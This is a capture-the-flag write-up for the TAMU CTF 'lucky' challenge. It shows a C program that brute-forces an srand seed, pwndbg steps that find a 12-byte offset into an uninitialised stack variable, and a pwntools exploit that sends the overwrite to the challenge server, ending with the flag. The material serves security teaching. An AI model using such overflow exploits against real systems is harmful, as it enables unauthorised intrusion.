## Solution
I just wrote a small C program to dertermine the value we needed to overwrite the seed with.
```cint main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    int i = 0;     while (1==1) {
    srand(i);    int key0 = rand() == 306291429;    int key1 = rand() == 442612432;    int key2 = rand() == 110107425;
    if (key0 && key1 && key2) {        printf("seed = %i",i);        exit(0);    }     else {     i = i +1;    }   }}```
Running,  tells us the seed must equal ```5649426```
```$ gcc -o luck luck.c$ ./luckseed = 5649426
```
We will use this value to overwrite the local variable returned from seed into (e\|r)ax.
```   0x00005555555552e4 <+53>:	call   0x5555555551f1 <seed>   0x00005555555552e9 <+58>:	mov    edi,eax   0x00005555555552eb <+60>:	call   0x555555555060 <srand@plt>   0x00005555555552f0 <+65>:	call   0x5555555550a0 <rand@plt>```
Next, I set a breakpoint at ```0x5555555552e9``` to determine how many bytes of padding are needed to overwrite ```eax```.
```pwndbg> break *0x00005555555552e9Breakpoint 1 at 0x5555555552e9pwndbg> cyclic 25aaaabaaacaaadaaaeaaafaaagpwndbg> rStarting program: /root/workspace/tamu-ctf/lucky/lucky Enter your name: aaaabaaacaaadaaaeaaafaaagpwndbg> x/8 $rax0x616164:	Cannot access memory at address 0x616164```
We see that it takes 12 bytes. So the solution now is pretty straightforward, pad 12 bytes, then overflow the local variable in seed() with 5649426.
```pythonfrom pwn import *import time
binary = args.BIN
context.terminal = ["tmux", "splitw", "-h"]e = context.binary = ELF(binary)r = ROP(e)
gs = '''continue'''
def start():    if args.GDB:        return gdb.debug(e.path, gdbscript=gs)    elif args.REMOTE:        return remote("tamuctf.com", 443, ssl=True, sni="lucky")    else:        return process(e.path)
p = start()
pad = b'A'*12seed = p64(5649426)
p.sendline(pad+seed)p.interactive()```
Running this gives our flag
```{6:15}~/workspace/tamu-ctf/lucky ➭ python3 pwn-lucky.py BIN=./lucky REMOTE[*] '/root/workspace/tamu-ctf/lucky/lucky'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      PIE enabled[*] Loading gadgets for '/root/workspace/tamu-ctf/lucky/lucky'[+] Opening connection to tamuctf.com on port 443: Done[*] Switching to interactive modeEnter your name: Welcome, AAAAAAAAAAAA\x12VIf you're super lucky, you might get a flag! GLHF :DNice work! Here's the flag: gigem{un1n1t14l1z3d_m3m0ry_15_r4nd0m_r1ght}```